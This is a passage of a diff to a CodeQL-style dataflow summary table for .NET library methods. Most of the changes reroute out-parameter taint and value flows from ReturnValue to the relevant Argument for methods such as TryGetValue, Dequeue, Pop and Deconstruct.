System.Collections.Immutable;ImmutableInterlocked;Update;(System.Collections.Immutable.ImmutableArray,System.Func,System.Collections.Immutable.ImmutableArray>);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;Update;(System.Collections.Immutable.ImmutableArray,System.Func,System.Collections.Immutable.ImmutableArray>);Argument[0];ReturnValue;value;hq-generated | -| System.Collections.Immutable;ImmutableInterlocked;Update;(System.Collections.Immutable.ImmutableArray,System.Func,System.Collections.Immutable.ImmutableArray>);Argument[1];Argument[1].Parameter[delegate-self];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;Update;(System.Collections.Immutable.ImmutableArray,System.Func,System.Collections.Immutable.ImmutableArray>);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | -| System.Collections.Immutable;ImmutableInterlocked;Update;(T,System.Func);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;Update;(T,System.Func);Argument[0];ReturnValue;value;hq-generated | -| System.Collections.Immutable;ImmutableInterlocked;Update;(T,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;Update;(T,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Collections.Immutable;ImmutableList;Create;(System.ReadOnlySpan);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableList;Create;(T);Argument[0];ReturnValue;taint;df-generated | @@ -7872,10 +7821,12 @@ summary | System.Collections.Immutable;ImmutableQueue;Create;(T);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableQueue;Create;(T[]);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableQueue;CreateRange;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableQueue;Dequeue;(System.Collections.Immutable.IImmutableQueue,T);Argument[0].Element;Argument[1];taint;df-generated | | System.Collections.Immutable;ImmutableQueue;Dequeue;(System.Collections.Immutable.IImmutableQueue,T);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableQueue+Enumerator;get_Current;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableQueue;Clear;();Argument[this].WithoutElement;ReturnValue;value;manual | | System.Collections.Immutable;ImmutableQueue;Dequeue;();Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableQueue;Dequeue;(T);Argument[this];Argument[0];taint;df-generated | | System.Collections.Immutable;ImmutableQueue;Dequeue;(T);Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableQueue;Enqueue;(T);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableQueue`1._forwards].SyntheticField[System.Collections.Immutable.ImmutableStack`1._head];value;dfc-generated | | System.Collections.Immutable;ImmutableQueue;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Generic.IEnumerator`1.Current];value;manual | @@ -7951,8 +7902,7 @@ summary | System.Collections.Immutable;ImmutableSortedDictionary+Builder;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Collections.Immutable;ImmutableSortedDictionary+Builder;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableSortedDictionary`2+Enumerator.Current];value;manual | | System.Collections.Immutable;ImmutableSortedDictionary+Builder;GetValueOrDefault;(TKey,TValue);Argument[1];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedDictionary+Builder;TryGetKey;(TKey,TKey);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedDictionary+Builder;TryGetValue;(TKey,TValue);Argument[1];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary+Builder;TryGetKey;(TKey,TKey);Argument[0];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary+Builder;get_Item;(System.Object);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | | System.Collections.Immutable;ImmutableSortedDictionary+Builder;get_Item;(TKey);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | | System.Collections.Immutable;ImmutableSortedDictionary+Builder;get_Keys;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];ReturnValue.Element;value;manual | @@ -7987,9 +7937,8 @@ summary | System.Collections.Immutable;ImmutableSortedDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;TryGetKey;(TKey,TKey);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;TryGetKey;(TKey,TKey);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;TryGetValue;(TKey,TValue);Argument[1];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;TryGetKey;(TKey,TKey);Argument[0];Argument[1];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;TryGetKey;(TKey,TKey);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer];value;dfc-generated | @@ -8031,8 +7980,8 @@ summary | System.Collections.Immutable;ImmutableSortedSet+Builder;IntersectWith;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet+Builder;Reverse;();Argument[this].Element;ReturnValue.Element;value;manual | | System.Collections.Immutable;ImmutableSortedSet+Builder;SymmetricExceptWith;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedSet+Builder;TryGetValue;(T,T);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedSet+Builder;TryGetValue;(T,T);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedSet+Builder;TryGetValue;(T,T);Argument[0];Argument[1];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedSet+Builder;TryGetValue;(T,T);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet+Builder;UnionWith;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet+Builder;get_Max;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet+Builder;get_Min;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];ReturnValue;value;dfc-generated | @@ -8061,8 +8010,8 @@ summary | System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].Element;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;TryGetValue;(T,T);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedSet;TryGetValue;(T,T);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedSet;TryGetValue;(T,T);Argument[0];Argument[1];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedSet;TryGetValue;(T,T);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | @@ -8078,6 +8027,7 @@ summary | System.Collections.Immutable;ImmutableStack;Create;(T);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableStack;Create;(T[]);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableStack;CreateRange;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableStack;Pop;(System.Collections.Immutable.IImmutableStack,T);Argument[0].Element;Argument[1];taint;df-generated | | System.Collections.Immutable;ImmutableStack;Pop;(System.Collections.Immutable.IImmutableStack,T);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableStack+Enumerator;get_Current;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableStack;Clear;();Argument[this].WithoutElement;ReturnValue;value;manual | @@ -8086,7 +8036,7 @@ summary | System.Collections.Immutable;ImmutableStack;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableStack`1+Enumerator.Current];value;manual | | System.Collections.Immutable;ImmutableStack;Peek;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableStack`1._head];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableStack;Pop;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableStack`1._tail];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableStack;Pop;(T);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableStack`1._head];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableStack;Pop;(T);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableStack`1._head];Argument[0];value;dfc-generated | | System.Collections.Immutable;ImmutableStack;Pop;(T);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableStack`1._tail];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableStack;Push;(T);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableStack`1._head];value;dfc-generated | | System.Collections.Immutable;ImmutableStack;Push;(T);Argument[this];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableStack`1._tail];value;dfc-generated | @@ -8112,8 +8062,7 @@ summary | System.Collections.ObjectModel;KeyedCollection;InsertItem;(System.Int32,TItem);Argument[1];Argument[this].SyntheticField[System.Collections.ObjectModel.Collection`1.items].Element;value;dfc-generated | | System.Collections.ObjectModel;KeyedCollection;KeyedCollection;(System.Collections.Generic.IEqualityComparer,System.Int32);Argument[0];Argument[this].SyntheticField[System.Collections.ObjectModel.KeyedCollection`2.comparer];value;dfc-generated | | System.Collections.ObjectModel;KeyedCollection;SetItem;(System.Int32,TItem);Argument[1];Argument[this];taint;df-generated | -| System.Collections.ObjectModel;KeyedCollection;TryGetValue;(TKey,TItem);Argument[1];ReturnValue;value;dfc-generated | -| System.Collections.ObjectModel;KeyedCollection;TryGetValue;(TKey,TItem);Argument[this].Property[System.Collections.ObjectModel.Collection`1.Items].Element;ReturnValue;value;dfc-generated | +| System.Collections.ObjectModel;KeyedCollection;TryGetValue;(TKey,TItem);Argument[this].Property[System.Collections.ObjectModel.Collection`1.Items].Element;Argument[1];value;dfc-generated | | System.Collections.ObjectModel;KeyedCollection;get_Comparer;();Argument[this].SyntheticField[System.Collections.ObjectModel.KeyedCollection`2.comparer];ReturnValue;value;dfc-generated | | System.Collections.ObjectModel;KeyedCollection;get_Dictionary;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.ObjectModel;KeyedCollection;get_Item;(TKey);Argument[this].Element;ReturnValue;value;manual | @@ -8168,7 +8117,6 @@ summary | System.Collections.ObjectModel;ReadOnlyDictionary;GetEnumerator;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.ObjectModel;ReadOnlyDictionary;ReadOnlyDictionary;(System.Collections.Generic.IDictionary);Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];value;manual | | System.Collections.ObjectModel;ReadOnlyDictionary;ReadOnlyDictionary;(System.Collections.Generic.IDictionary);Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;manual | -| System.Collections.ObjectModel;ReadOnlyDictionary;TryGetValue;(TKey,TValue);Argument[1];ReturnValue;value;dfc-generated | | System.Collections.ObjectModel;ReadOnlyDictionary;get_Dictionary;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.ObjectModel;ReadOnlyDictionary;get_Item;(System.Object);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | | System.Collections.ObjectModel;ReadOnlyDictionary;get_Item;(TKey);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | @@ -8387,7 +8335,8 @@ summary | System.Collections;DictionaryBase;get_Values;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue.Element;value;manual | | System.Collections;DictionaryBase;set_Item;(System.Object,System.Object);Argument[0];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];value;manual | | System.Collections;DictionaryBase;set_Item;(System.Object,System.Object);Argument[1];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;manual | -| System.Collections;DictionaryEntry;Deconstruct;(System.Object,System.Object);Argument[this];ReturnValue;taint;df-generated | +| System.Collections;DictionaryEntry;Deconstruct;(System.Object,System.Object);Argument[this];Argument[0];taint;df-generated | +| System.Collections;DictionaryEntry;Deconstruct;(System.Object,System.Object);Argument[this];Argument[1];taint;df-generated | | System.Collections;DictionaryEntry;DictionaryEntry;(System.Object,System.Object);Argument[0];Argument[this];taint;df-generated | | System.Collections;DictionaryEntry;DictionaryEntry;(System.Object,System.Object);Argument[1];Argument[this];taint;df-generated | | System.Collections;Hashtable;Add;(System.Object,System.Object);Argument[0];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];value;manual | @@ -9201,12 +9150,11 @@ summary | System.Configuration.Internal;DelegatingConfigHost;GetStreamNameForConfigSource;(System.String,System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.Configuration.Internal;DelegatingConfigHost;GetStreamNameForConfigSource;(System.String,System.String);Argument[1];ReturnValue;taint;dfc-generated | | System.Configuration.Internal;DelegatingConfigHost;Init;(System.Configuration.Internal.IInternalConfigRoot,System.Object[]);Argument[1].Element;Argument[this];taint;df-generated | -| System.Configuration.Internal;DelegatingConfigHost;InitForConfiguration;(System.String,System.String,System.String,System.Configuration.Internal.IInternalConfigRoot,System.Object[]);Argument[0];ReturnValue;value;dfc-generated | -| System.Configuration.Internal;DelegatingConfigHost;InitForConfiguration;(System.String,System.String,System.String,System.Configuration.Internal.IInternalConfigRoot,System.Object[]);Argument[4].Element;ReturnValue;value;dfc-generated | +| System.Configuration.Internal;DelegatingConfigHost;InitForConfiguration;(System.String,System.String,System.String,System.Configuration.Internal.IInternalConfigRoot,System.Object[]);Argument[4].Element;Argument[1];value;dfc-generated | | System.Configuration.Internal;DelegatingConfigHost;OpenStreamForRead;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.Configuration.Internal;DelegatingConfigHost;OpenStreamForRead;(System.String,System.Boolean);Argument[0];ReturnValue;taint;dfc-generated | -| System.Configuration.Internal;DelegatingConfigHost;OpenStreamForWrite;(System.String,System.String,System.Object);Argument[2];ReturnValue;value;dfc-generated | -| System.Configuration.Internal;DelegatingConfigHost;OpenStreamForWrite;(System.String,System.String,System.Object,System.Boolean);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration.Internal;DelegatingConfigHost;OpenStreamForWrite;(System.String,System.String,System.Object);Argument[1];Argument[2];taint;df-generated | +| System.Configuration.Internal;DelegatingConfigHost;OpenStreamForWrite;(System.String,System.String,System.Object,System.Boolean);Argument[1];Argument[2];taint;df-generated | | System.Configuration.Internal;DelegatingConfigHost;StartMonitoringStreamForChanges;(System.String,System.Configuration.Internal.StreamChangeCallback);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Configuration.Internal;DelegatingConfigHost;StopMonitoringStreamForChanges;(System.String,System.Configuration.Internal.StreamChangeCallback);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Configuration.Internal;IConfigErrorInfo;get_Filename;();Argument[this];ReturnValue;taint;df-generated | @@ -9220,12 +9168,11 @@ summary | System.Configuration.Internal;IInternalConfigHost;GetStreamNameForConfigSource;(System.String,System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.Configuration.Internal;IInternalConfigHost;GetStreamNameForConfigSource;(System.String,System.String);Argument[1];ReturnValue;taint;dfc-generated | | System.Configuration.Internal;IInternalConfigHost;Init;(System.Configuration.Internal.IInternalConfigRoot,System.Object[]);Argument[1].Element;Argument[this];taint;df-generated | -| System.Configuration.Internal;IInternalConfigHost;InitForConfiguration;(System.String,System.String,System.String,System.Configuration.Internal.IInternalConfigRoot,System.Object[]);Argument[0];ReturnValue;value;dfc-generated | -| System.Configuration.Internal;IInternalConfigHost;InitForConfiguration;(System.String,System.String,System.String,System.Configuration.Internal.IInternalConfigRoot,System.Object[]);Argument[4].Element;ReturnValue;value;dfc-generated | +| System.Configuration.Internal;IInternalConfigHost;InitForConfiguration;(System.String,System.String,System.String,System.Configuration.Internal.IInternalConfigRoot,System.Object[]);Argument[4].Element;Argument[1];value;dfc-generated | | System.Configuration.Internal;IInternalConfigHost;OpenStreamForRead;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.Configuration.Internal;IInternalConfigHost;OpenStreamForRead;(System.String,System.Boolean);Argument[0];ReturnValue;taint;dfc-generated | -| System.Configuration.Internal;IInternalConfigHost;OpenStreamForWrite;(System.String,System.String,System.Object);Argument[2];ReturnValue;value;dfc-generated | -| System.Configuration.Internal;IInternalConfigHost;OpenStreamForWrite;(System.String,System.String,System.Object,System.Boolean);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration.Internal;IInternalConfigHost;OpenStreamForWrite;(System.String,System.String,System.Object);Argument[1];Argument[2];taint;df-generated | +| System.Configuration.Internal;IInternalConfigHost;OpenStreamForWrite;(System.String,System.String,System.Object,System.Boolean);Argument[1];Argument[2];taint;df-generated | | System.Configuration.Internal;IInternalConfigHost;StartMonitoringStreamForChanges;(System.String,System.Configuration.Internal.StreamChangeCallback);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Configuration.Internal;IInternalConfigHost;StopMonitoringStreamForChanges;(System.String,System.Configuration.Internal.StreamChangeCallback);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Configuration.Internal;IInternalConfigRecord;GetLkgSection;(System.String);Argument[this];ReturnValue;taint;df-generated | @@ -9838,7 +9785,7 @@ summary | System.Data.Common;DbConnectionStringBuilder;GetPropertyOwner;(System.ComponentModel.PropertyDescriptor);Argument[this];ReturnValue;value;dfc-generated | | System.Data.Common;DbConnectionStringBuilder;ToString;();Argument[this].Property[System.Data.Common.DbConnectionStringBuilder.ConnectionString];ReturnValue;value;dfc-generated | | System.Data.Common;DbConnectionStringBuilder;ToString;();Argument[this].Property[System.Data.Common.DbConnectionStringBuilder.Keys].Element;ReturnValue;taint;dfc-generated | -| System.Data.Common;DbConnectionStringBuilder;TryGetValue;(System.String,System.Object);Argument[this];ReturnValue;taint;df-generated | +| System.Data.Common;DbConnectionStringBuilder;TryGetValue;(System.String,System.Object);Argument[this];Argument[1];taint;df-generated | | System.Data.Common;DbConnectionStringBuilder;get_Item;(System.Object);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | | System.Data.Common;DbConnectionStringBuilder;get_Item;(System.String);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | | System.Data.Common;DbConnectionStringBuilder;get_Keys;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];ReturnValue.Element;value;manual | @@ -9970,7 +9917,7 @@ summary | System.Data.Entity.Core.EntityClient;EntityConnection;BeginDbTransaction;(System.Data.IsolationLevel);Argument[this];ReturnValue;taint;df-generated | | System.Data.Entity.Core.EntityClient;EntityConnection;get_ServerVersion;();Argument[this];ReturnValue;taint;df-generated | | System.Data.Entity.Core.EntityClient;EntityConnectionStringBuilder;Clear;();Argument[this].WithoutElement;Argument[this];value;manual | -| System.Data.Entity.Core.EntityClient;EntityConnectionStringBuilder;TryGetValue;(System.String,System.Object);Argument[this];ReturnValue;taint;df-generated | +| System.Data.Entity.Core.EntityClient;EntityConnectionStringBuilder;TryGetValue;(System.String,System.Object);Argument[this];Argument[1];taint;df-generated | | System.Data.Entity.Core.EntityClient;EntityConnectionStringBuilder;get_Keys;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];ReturnValue.Element;value;manual | | System.Data.Entity.Core.EntityClient;EntityDataReader;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Data.Entity.Core.EntityClient;EntityDataReader;GetProviderSpecificValue;(System.Int32);Argument[this];ReturnValue;taint;dfc-generated | @@ -10462,7 +10409,7 @@ summary | System.Data.SqlClient;SqlConnection;get_ServerVersion;();Argument[this];ReturnValue;taint;df-generated | | System.Data.SqlClient;SqlConnection;remove_InfoMessage;(System.Data.SqlClient.SqlInfoMessageEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Data.SqlClient;SqlConnectionStringBuilder;Clear;();Argument[this].WithoutElement;Argument[this];value;manual | -| System.Data.SqlClient;SqlConnectionStringBuilder;TryGetValue;(System.String,System.Object);Argument[this];ReturnValue;taint;df-generated | +| System.Data.SqlClient;SqlConnectionStringBuilder;TryGetValue;(System.String,System.Object);Argument[this];Argument[1];taint;df-generated | | System.Data.SqlClient;SqlConnectionStringBuilder;get_Keys;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];ReturnValue.Element;value;manual | | System.Data.SqlClient;SqlConnectionStringBuilder;get_Values;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue.Element;value;manual | | System.Data.SqlClient;SqlDataAdapter;Clone;();Argument[this];ReturnValue;value;dfc-generated | @@ -11111,12 +11058,6 @@ summary | System.Diagnostics.Tracing;EventSource;GetTrait;(System.String);Argument[this].SyntheticField[System.Diagnostics.Tracing.EventSource.m_traits].Element;ReturnValue;value;dfc-generated | | System.Diagnostics.Tracing;EventSource;SendCommand;(System.Diagnostics.Tracing.EventSource,System.Diagnostics.Tracing.EventCommand,System.Collections.Generic.IDictionary);Argument[2];Argument[0].SyntheticField[System.Diagnostics.Tracing.EventSource.m_deferredCommands].Property[System.Diagnostics.Tracing.EventCommandEventArgs.Arguments];value;dfc-generated | | System.Diagnostics.Tracing;EventSource;ToString;();Argument[this];ReturnValue;taint;df-generated | -| System.Diagnostics.Tracing;EventSource;Write;(System.String,System.Diagnostics.Tracing.EventSourceOptions,System.Guid,System.Guid,T);Argument[1];ReturnValue;value;dfc-generated | -| System.Diagnostics.Tracing;EventSource;Write;(System.String,System.Diagnostics.Tracing.EventSourceOptions,System.Guid,System.Guid,T);Argument[2];ReturnValue;value;dfc-generated | -| System.Diagnostics.Tracing;EventSource;Write;(System.String,System.Diagnostics.Tracing.EventSourceOptions,System.Guid,System.Guid,T);Argument[3];ReturnValue;value;dfc-generated | -| System.Diagnostics.Tracing;EventSource;Write;(System.String,System.Diagnostics.Tracing.EventSourceOptions,System.Guid,System.Guid,T);Argument[4];ReturnValue;value;dfc-generated | -| System.Diagnostics.Tracing;EventSource;Write;(System.String,System.Diagnostics.Tracing.EventSourceOptions,T);Argument[1];ReturnValue;value;dfc-generated | -| System.Diagnostics.Tracing;EventSource;Write;(System.String,System.Diagnostics.Tracing.EventSourceOptions,T);Argument[2];ReturnValue;value;dfc-generated | | System.Diagnostics.Tracing;EventSource;add_EventCommandExecuted;(System.EventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;dfc-generated | | System.Diagnostics.Tracing;EventSource;add_EventCommandExecuted;(System.EventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Diagnostics.Tracing;EventSource;add_EventCommandExecuted;(System.EventHandler);Argument[this].SyntheticField[System.Diagnostics.Tracing.EventSource.m_deferredCommands];Argument[0].Parameter[1];value;dfc-generated | @@ -11214,7 +11155,7 @@ summary | System.Diagnostics;ActivityTagsCollection;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Generic.IEnumerator`1.Current];value;manual | | System.Diagnostics;ActivityTagsCollection;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Diagnostics;ActivityTagsCollection;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Diagnostics.ActivityTagsCollection+Enumerator.Current];value;manual | -| System.Diagnostics;ActivityTagsCollection;TryGetValue;(System.String,System.Object);Argument[this];ReturnValue;taint;df-generated | +| System.Diagnostics;ActivityTagsCollection;TryGetValue;(System.String,System.Object);Argument[this];Argument[1];taint;df-generated | | System.Diagnostics;ActivityTagsCollection;get_Item;(System.String);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | | System.Diagnostics;ActivityTagsCollection;get_Keys;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];ReturnValue.Element;value;manual | | System.Diagnostics;ActivityTagsCollection;get_Values;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue.Element;value;manual | @@ -11225,13 +11166,6 @@ summary | System.Diagnostics;CorrelationManager;get_LogicalOperationStack;();Argument[this];ReturnValue;taint;df-generated | | System.Diagnostics;DataReceivedEventArgs;get_Data;();Argument[this];ReturnValue;taint;df-generated | | System.Diagnostics;DataReceivedEventHandler;BeginInvoke;(System.Object,System.Diagnostics.DataReceivedEventArgs,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | -| System.Diagnostics;Debug;Assert;(System.Boolean,System.Diagnostics.Debug+AssertInterpolatedStringHandler);Argument[1];ReturnValue;value;dfc-generated | -| System.Diagnostics;Debug;Assert;(System.Boolean,System.Diagnostics.Debug+AssertInterpolatedStringHandler,System.Diagnostics.Debug+AssertInterpolatedStringHandler);Argument[1];ReturnValue;value;dfc-generated | -| System.Diagnostics;Debug;Assert;(System.Boolean,System.Diagnostics.Debug+AssertInterpolatedStringHandler,System.Diagnostics.Debug+AssertInterpolatedStringHandler);Argument[2];ReturnValue;value;dfc-generated | -| System.Diagnostics;Debug;WriteIf;(System.Boolean,System.Diagnostics.Debug+WriteIfInterpolatedStringHandler);Argument[1];ReturnValue;value;dfc-generated | -| System.Diagnostics;Debug;WriteIf;(System.Boolean,System.Diagnostics.Debug+WriteIfInterpolatedStringHandler,System.String);Argument[1];ReturnValue;value;dfc-generated | -| System.Diagnostics;Debug;WriteLineIf;(System.Boolean,System.Diagnostics.Debug+WriteIfInterpolatedStringHandler);Argument[1];ReturnValue;value;dfc-generated | -| 